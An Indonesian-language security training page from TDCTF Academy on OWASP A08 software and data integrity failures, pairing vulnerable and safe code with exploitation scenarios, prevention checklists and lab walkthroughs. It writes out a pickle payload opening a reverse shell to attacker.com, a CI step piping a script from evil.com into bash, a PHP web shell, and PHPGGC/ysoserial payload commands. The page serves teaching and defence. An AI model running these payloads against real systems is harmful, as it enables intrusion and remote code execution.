TDCTF Academy Logo TDCTF ACADEMY

A08 - Software and Data Integrity Failures (Kegagalan Integritas Perangkat Lunak dan Data)

Definisi

Software and Data Integrity Failures adalah kerentanan yang berkaitan dengan kegagalan dalam menjaga integritas perangkat lunak dan data - yaitu memastikan bahwa software, update, dan data belum dimodifikasi atau dirusak oleh pihak yang tidak berwenang. Kategori ini merupakan entri baru di OWASP Top 10 2021, naik dari posisi yang tidak ada di edisi 2017, mencerminkan semakin meningkatnya ancaman terhadap rantai pasok perangkat lunak (supply chain).

Kegagalan integritas terjadi ketika aplikasi atau infrastruktur tidak memverifikasi bahwa software, data, atau pipeline deployment berasal dari sumber yang tepercaya dan belum dimodifikasi. Ini mencakup:

  • Insecure Deserialization: Data serialized yang tidak diverifikasi sebelum deserialization
  • Supply Chain Attacks: Plugin/library dari sumber tidak dikenal yang mengandung malware
  • CI/CD Pipeline Tampering: Build pipeline yang tidak diamankan
  • Unsigned Updates: Update software yang tidak ditandatangani (unsigned)
  • Man-in-the-Middle Updates: Update didownload dari sumber tidak aman tanpa verifikasi
  • Integrity Verification Missing: Tidak ada checksum atau signature verification
  • Auto-update tanpa validasi: Update otomatis yang tidak memverifikasi sumber

Dampak

Dampak Contoh Nyata
Remote Code Execution (RCE) Insecure deserialization pada Java, PHP, Python, .NET
Supply Chain Compromise SolarWinds Orion - 18.000 organisasi terkena dampak
Data Tampering Data diubah selama transit atau penyimpanan
CI/CD Poisoning Kode jahat di-inject ke dalam production build
Malware Distribution Update software resmi yang mengandung malware (CCleaner, NotPetya via M.E.Doc)
Privilege Escalation Deserialization gadget chain untuk mendapatkan akses root
Data Breach Exfiltasi data melalui update mechanism
Ransomware NotPetya menyebar melalui update software akuntansi

Contoh Kode

Contoh 1: Insecure Deserialization - PHP

<?php
// unsafe_deserialize.php - DESERIALIZATION TIDAK AMAN

// Data serialized dari user input - SANGAT BERBAHAYA
$user_data = $_COOKIE['user_preferences'];

// Langsung deserialize tanpa validasi!
$preferences = unserialize($user_data);

// Attacker bisa mengirimkan serialized object dengan gadget chain
// Contoh: PHPGGC untuk RCE via unserialize
<?php
// safe_deserialize.php - DESERIALIZATION AMAN

// 1. JANGAN gunakan unserialize() dengan data user
// 2. Gunakan format data yang aman seperti JSON
$user_data = $_COOKIE['user_preferences'];
$preferences = json_decode($user_data, true);

// 3. Jika terpaksa harus menggunakan unserialize:
$allowed_classes = ['UserPreferences', 'Theme'];

// Hanya izinkan class tertentu
$preferences = unserialize($user_data, ['allowed_classes' => $allowed_classes]);

// Atau lebih baik lagi: validasi dengan whitelist class
function safe_unserialize($data, $allowed_classes) {
$object = unserialize($data, ['allowed_classes' => $allowed_classes]);

// Validasi tipe data
if ($object instanceof UserPreferences) {
if (!$object->validate()) {
throw new Exception("Invalid preferences data");
}
return $object;
}
throw new Exception("Unknown class type");
}

Contoh 2: Insecure Deserialization - Python Pickle

# unsafe_pickle.py - DESERIALIZATION PICKLE TIDAK AMAN
import pickle
import base64

# Data serialized dari user input
user_session = request.cookies.get('session_data')
# Langsung load tanpa validasi!
session = pickle.loads(base64.b64decode(user_session))

# Attacker bisa mengirimkan pickle dengan arbitrary code execution
# Payload: pickle yang mengeksekusi os.system()
# safe_pickle.py - HINDARI pickle untuk data user!
import json

# Jangan gunakan pickle untuk data dari user
# Gunakan JSON sebagai gantinya
session = json.loads(request.cookies.get('session_data', '{}'))

# Jika HARUS menggunakan serialization untuk objek komplex:
# Gunakan marshmallow, pydantic, atau protocol buffers

from pydantic import BaseModel

class UserSession(BaseModel):
user_id: int
username: str
role: str
theme: str = "light"

# Validasi ketat dengan Pydantic
session = UserSession(**json.loads(user_data))

Contoh 3: Insecure Deserialization - Java

// UnsafeDeserialize.java - DESERIALIZATION TIDAK AMAN
import java.io.*;

public class UnsafeDeserialize {
public void processData(byte[] data) throws Exception {
// SANGAT BERBAHAYA - deserialize data dari user!
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(data)
);
Object obj = ois.readObject(); // Bisa berupa objek jahat!
ois.close();
}
}
// SafeDeserialize.java - DESERIALIZATION AMAN
import java.io.*;
import org.apache.commons.io.serialization.ValidatingObjectInputStream;

public class SafeDeserialize {
public void processData(byte[] data) throws Exception {
// Gunakan ValidatingObjectInputStream dengan whitelist
ValidatingObjectInputStream ois =
new ValidatingObjectInputStream(
new ByteArrayInputStream(data)
);

// Hanya izinkan class tertentu
ois.accept(UserProfile.class);
ois.accept(Order.class);
ois.accept(Product.class);

// Blacklist class berbahaya yang umum
ois.reject("java.lang.Runtime");
ois.reject("java.lang.ProcessBuilder");
ois.reject("java.lang.reflect.Proxy");

// Atau gunakan look-ahead object input stream
Object obj = ois.readObject();
ois.close();
}
}

Contoh 4: Unsigned Software Update

# unsafe_update.py - UPDATE TIDAK AMAN
import urllib.request
import os

# Mendownload update dari URL tanpa verifikasi
def download_update_bad():
url = "http://updates.evil-company.com/latest.zip"

# HTTP - tidak terenkripsi!
# Tidak ada verifikasi signature
# Tidak ada checksum check
urllib.request.urlretrieve(url, "/tmp/update.zip")

# Langsung ekstrak dan jalankan
os.system(f"unzip -o /tmp/update.zip -d /opt/app/")
os.system("/opt/app/update.sh")

# Man-in-the-middle bisa mengirimkan malware!
# safe_update.py - UPDATE AMAN DENGAN VERIFIKASI
import urllib.request
import hashlib
import gnupg
import os

# Verifikasi integritas dan autentisitas update
def download_update_safe():
# 1. Gunakan HTTPS dengan sertifikat valid
url = "https://updates.trusted-company.com/latest.zip"

# 2. Download checksum dari sumber terpisah
checksum_url = "https://updates.trusted-company.com/latest.sha256"
signature_url = "https://updates.trusted-company.com/latest.zip.sig"

# 3. Download file
urllib.request.urlretrieve(url, "/tmp/update.zip")
urllib.request.urlretrieve(checksum_url, "/tmp/update.sha256")
urllib.request.urlretrieve(signature_url, "/tmp/update.zip.sig")

# 4. Verifikasi SHA256 checksum
with open("/tmp/update.zip", "rb") as f:
actual_hash = hashlib.sha256(f.read()).hexdigest()

with open("/tmp/update.sha256") as f:
expected_hash = f.read().strip()

if actual_hash != expected_hash:
raise Exception("Checksum mismatch! File mungkin telah dimodifikasi!")

# 5. Verifikasi GPG signature
gpg = gnupg.GPG()
with open("/tmp/update.zip", "rb") as f:
verified = gpg.verify_file(f, "/tmp/update.zip.sig")

if not verified:
raise Exception("Signature tidak valid! Update tidak dari sumber tepercaya!")

# 6. Baru aman untuk diinstall
os.system(f"unzip -o /tmp/update.zip -d /opt/app/")

Skenario Eksploitasi

Skenario 1: PHP Deserialization Gadget Chain

PHP unserialize() bisa mengeksekusi arbitrary code melalui gadget chain - urutan objek yang method-methodnya terpanggil secara otomatis selama deserialization (__wakeup, __destruct, __toString, dll).

# Step 1: Identifikasi endpoint yang menggunakan unserialize
# Cari parameter seperti data, serialized, session, preferences
curl -v https://target.com/profile \
-b "user_preferences=O:8:\"stdClass\":0:{}"

# Step 2: Gunakan PHPGGC untuk generate payload
# PHPGGC adalah library gadget chain untuk PHP
git clone https://github.com/ambionics/phpggc
cd phpggc

# Generate RCE payload untuk Laravel
php phpggc Laravel/RCE1 system 'id'
# Output: O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{...}

# Step 3: Exploit
curl -v https://target.com/profile \
-b "user_preferences=O:40:\"Illuminate...\":{...}"

# Step 4: Verifikasi RCE - cek response
# Jika sukses, server mengeksekusi perintah 'id'

Skenario 2: Python Pickle Deserialization

# exploit_pickle.py - Membuat pickle payload untuk RCE
import pickle
import os
import base64

class EvilPickle(object):
def __reduce__(self):
# Perintah yang akan dieksekusi saat deserialization
cmd = "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
return (os.system, (cmd,))

# Generate payload
payload = base64.b64encode(pickle.dumps(EvilPickle())).decode()
print(f"Payload: {payload}")

# Kirim ke target
curl -X POST https://target.com/load_session \
-H "Content-Type: application/json" \
-d "{\"session_data\": \"$payload\"}"

Skenario 3: Supply Chain Attack - Typosquatting

# Step 1: Attacker membuat package dengan nama mirip (typosquatting)
# request -> requeset (salah satu huruf berbeda)
# urllib3 -> urlllib3 (double 'l')
# flask -> flaks

# Step 2: Upload package jahat ke PyPI/npm
# Step 3: Developer tanpa sengaja menginstall package salah

# Deteksi package mencurigakan
pip show requeset # Apakah terinstall?
pip list | grep -E '(requeset|urlllib3|flaks)'

# Cek package yang mencurigakan
pip install package-check
package-check requirements.txt

# Step 4: Package jahat bisa:
# - Mencuri environment variables
# - Install backdoor
# - Mengirim kredensial ke server attacker
# - Memodifikasi kode aplikasi

Skenario 4: CI/CD Pipeline Attack

# Attacker mendapatkan akses ke CI/CD pipeline dan memodifikasi build

# Langkah attacker:
# 1. Compromise akun developer dengan akses ke CI/CD
# 2. Inject kode berbahaya ke dalam build script
# 3. Build baru berisi malware
# 4. Deploy ke production

# Contoh: Inject script jahat di GitHub Actions
# .github/workflows/deploy.yml (dimodifikasi oleh attacker)
jobs:
build:
steps:
- uses: actions/checkout@v4

- name: Build
run: |
# Kode asli
npm run build

# Kode jahat yang di-inject
curl -s http://evil.com/backdoor.sh | bash

- name: Deploy
run: |
# Deploy build yang sudah terkontaminasi
scp -r dist/* user@production:/var/www/html/

Pencegahan

1. Verifikasi Integritas Data

# integrity_verification.py - Verifikasi integritas data
import hashlib
import hmac

class IntegrityVerifier:
def __init__(self, secret_key):
self.secret_key = secret_key

# 1. HMAC untuk verifikasi data
def sign_data(self, data):
"""Tandatangani data dengan HMAC"""
return hmac.new(
self.secret_key.encode(),
data.encode(),
hashlib.sha256
).hexdigest()

def verify_data(self, data, signature):
"""Verifikasi data dengan HMAC"""
expected = self.sign_data(data)
return hmac.compare_digest(expected, signature)

# 2. Checksum untuk file
def calculate_checksum(self, filepath):
sha256 = hashlib.sha256()
with open(filepath, 'rb') as f:
for chunk in iter(lambda: f.read(4096), b''):
sha256.update(chunk)
return sha256.hexdigest()

def verify_checksum(self, filepath, expected_checksum):
actual = self.calculate_checksum(filepath)
return actual == expected_checksum

# 3. Content Security untuk data serialized
def secure_serialize(self, data):
"""Serialize dengan integritas"""
serialized = json.dumps(data)
signature = self.sign_data(serialized)
return {
'data': serialized,
'signature': signature,
'timestamp': time.time()
}

def secure_deserialize(self, payload):
"""Deserialize dengan verifikasi integritas"""
# Cek timestamp
if time.time() - payload['timestamp'] > 3600:
raise Exception("Data expired")

# Verifikasi signature
if not self.verify_data(payload['data'], payload['signature']):
raise Exception("Integritas data terganggu!")

return json.loads(payload['data'])

2. Secure CI/CD Pipeline

# .github/workflows/secure-pipeline.yml - Pipeline aman
name: Secure Build & Deploy

on:
push:
branches: [main]
pull_request:
branches: [main]

jobs:
verify:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4

# 1. Verify signed commits
- name: Verify Commit Signatures
run: |
git verify-commit HEAD || echo "⚠️ Commit tidak ditandatangani!"

# 2. Dependency integrity
- name: Verify Dependencies
run: |
# npm: verifikasi integrity dari lockfile
npm ci --only=production
npm audit --audit-level=high

# Atau Python
pip install --require-hashes -r requirements.txt

# 3. SAST scan
- name: Static Analysis
uses: github/codeql-action/analyze@v3

# 4. SCA scan
- name: Dependency Check
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

# 5. Build dengan reproducible build
- name: Build
run: |
# Build dengan deterministik
npm run build

# 6. Sign artifacts
- name: Sign Build Artifacts
run: |
gpg --batch --yes --sign dist/app.zip
sha256sum dist/app.zip > dist/app.zip.sha256

# 7. SBOM generation
- name: Generate SBOM
uses: cyclonedx/gha-generate-sbom@v1

3. Implementasi Deserialization yang Aman

# secure-deserialization-checklist.yaml
checklist:
general:
- gunakan_format_data_aman: true # JSON, Protocol Buffers, MessagePack
- hindari_native_serialization: true # Pickle, PHP serialize, Java serialization
- validasi_input_sebelum_deserialize: true
- gunakan_allowlist_class: true
- implementasikan_integrity_check: true

python:
- jangan_gunakan_pickle_untuk_data_user: true
- gunakan_json_atau_pydantic: true
- jika_terpaksa_pickle_gunakan_hmac: true

php:
- jangan_gunakan_unserialize_dengan_data_user: true
- gunakan_json_decode: true
- jika_terpaksa_gunakan_allowed_classes: true

java:
- gunakan_validatingobjectinputstream: true
- filter_class_dengan_whitelist: true
- gunakan_serial_killer_filter: true
- aktifkan_jep_290: true

.net:
- gunakan_binaryformatter_dengan_serializationbinder: true
- gunakan_datacontractserializer: true
- aktifkan_custom_serialization_binder: true

4. Checklist Pencegahan Supply Chain

  1. Software Bill of Materials (SBOM): Buat dan maintain SBOM untuk semua komponen
  2. Vendor Assessment: Evaluasi keamanan vendor library sebelum digunakan
  3. Dependency Pinning: Gunakan versi spesifik, jangan range atau latest
  4. Integrity Verification: Verifikasi checksum dan signature setiap download
  5. Private Registry: Gunakan private package registry (Nexus, Artifactory, Verdaccio)
  6. Code Signing: Tandatangani semua kode dan artifact dengan GPG/Code Signing Certificate
  7. CI/CD Security: Amankan pipeline - akses terbatas, audit trail, signed commits
  8. Reproducible Builds: Build yang deterministik untuk verifikasi
  9. Vulnerability Scanning: Scan semua dependency secara rutin
  10. Dependency Review: Review setiap perubahan dependency di pull request
  11. Least Privilege: Batasi akses ke registry, CI/CD, dan production
  12. Monitor Supply Chain: Pantau advisories keamanan untuk library yang digunakan

5. Tools untuk Pencegahan

Tool Fungsi Kategori
in-toto Framework keamanan supply chain Supply Chain
SLSA Framework Supply chain levels for software artifacts Framework
sigstore Code signing dan verification Signing
TUF (The Update Framework) Secure update system Update
Grafeas Metadata API untuk artifact Metadata
Snyk SCA dan supply chain security SCA
Dependency-Check OWASP dependency scanner SCA
PHPGGC PHP gadget chain database (untuk testing) Testing
ysoserial Java deserialization exploit generator Testing
ysoserial.net .NET deserialization exploit generator Testing

CWE Mapping

CWE ID Nama Deskripsi
CWE-502 Deserialization of Untrusted Data Deserialization data dari sumber tidak tepercaya tanpa validasi. CWE utama untuk insecure deserialization - memungkinkan RCE, DoS, atau privilege escalation.
CWE-353 Missing Support for Integrity Check Tidak ada mekanisme verifikasi integritas seperti checksum, HMAC, atau signature pada data atau software.
CWE-345 Insufficient Verification of Data Authenticity Verifikasi autentisitas data yang tidak memadai - tidak memastikan data berasal dari sumber tepercaya.
CWE-494 Download of Code Without Integrity Check Mendownload kode tanpa memverifikasi checksum atau signature.
CWE-829 Inclusion of Functionality from Untrusted Control Sphere Memasukkan fungsionalitas dari sumber pihak ketiga yang tidak tepercaya.
CWE-1236 Improper Neutralization of Formula Elements in a CSV File Kerentanan CSV injection yang merupakan bagian dari integrity failures.
CWE-1104 Use of Unmaintained Third-Party Components Menggunakan komponen yang tidak terawat, berpotensi memiliki celah integritas.
CWE-1357 Reliance on Insufficiently Trustworthy Component Ketergantungan pada komponen yang tingkat kepercayaannya tidak memadai.

Lab Terkait

1. WebWolf - File Upload RCE

  • Deskripsi: WebWolf dari OWASP WebGoat memiliki challenge file upload yang memungkinkan RCE
  • Endpoint: /WebWolf/fileupload
  • Eksploitasi: Upload file berbahaya yang mengeksploitasi deserialization
  • Tools: curl, browser, PHPGGC
# Buat payload file upload
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Upload file
curl -X POST https://target.com/WebWolf/fileupload \

# Akses shell
curl https://target.com/files/shell.php?cmd=id

2. Laravel - Deserialization RCE

  • Deskripsi: Laravel dengan debug mode dan APP_KEY yang terekspos
  • Eksploitasi: PHP deserialization via gadget chain Laravel
  • Tools: PHPGGC, curl
# Step 1: Dapatkan APP_KEY dari debug mode
curl -s https://target.com/_debugbar/open | grep APP_KEY

# Step 2: Generate payload dengan PHPGGC
php phpggc Laravel/RCE1 system 'cat /etc/passwd' | base64

# Step 3: Kirim payload via X-XSRF-TOKEN atau cookie
curl -v https://target.com/ \
-b "app_key_payload=$(php phpggc Laravel/RCE1 system 'id' | base64)"

3. Java Deserialization Lab

  • Deskripsi: Aplikasi Java yang menggunakan ObjectInputStream tanpa validasi
  • Eksploitasi: ysoserial untuk generate payload
  • Tools: ysoserial, Burp Suite
# Generate payload dengan ysoserial
java -jar ysoserial.jar CommonsCollections1 'touch /tmp/pwned' > payload.bin

# Kirim payload ke endpoint
curl -X POST https://target.com/deserialize \
--data-binary @payload.bin \
-H "Content-Type: application/octet-stream"

# Atau via cookie
curl -v https://target.com/ \
-b "session=$(cat payload.bin | base64)"

4. Lab Supply Chain - Dependency Confusion

  • Deskripsi: Lab untuk mendemonstrasikan dependency confusion attack
  • Eksploitasi: Membuat package dengan nama yang sama di public repository yang "menang" atas private registry
  • Tools: pip, npm, curl
# Simulasi dependency confusion
# 1. Cari nama package internal yang tidak ada di public repo
# 2. Buat package dengan nama yang sama di PyPI/npm
# 3. Build pipeline akan menginstall package jahat

# Deteksi dependency confusion
npm show @company/internal-package # Cek apakah ada di public registry?
pip install --dry-run --index-url https://pypi.org internal-package

Kesimpulan

Software and Data Integrity Failures menjadi semakin kritis seiring dengan meningkatnya kompleksitas rantai pasok perangkat lunak. Serangan seperti SolarWinds (2020), Codecov (2021), dan Log4j (2021) menunjukkan betapa rentannya infrastruktur software modern.

Poin-poin kunci:

  1. Trust nothing, verify everything - jangan pernah percaya data serialized, update, atau dependency tanpa verifikasi
  2. Deserialization adalah salah satu kerentanan paling berbahaya - dapat menyebabkan RCE dengan satu payload
  3. Supply chain attack semakin meningkat - lindungi pipeline CI/CD dan verifikasi semua dependency
  4. SBOM adalah kebutuhan - tanpa SBOM, Anda tidak tahu apa yang berjalan di aplikasi Anda
  5. Code signing dan integrity checking harus menjadi bagian wajib dari setiap proses build dan deploy

Ke depannya, adopsi framework seperti SLSA (Supply chain Levels for Software Artifacts) dan in-toto akan menjadi standar industri untuk memastikan integritas software dari development hingga deployment.

PADA HALAMAN INI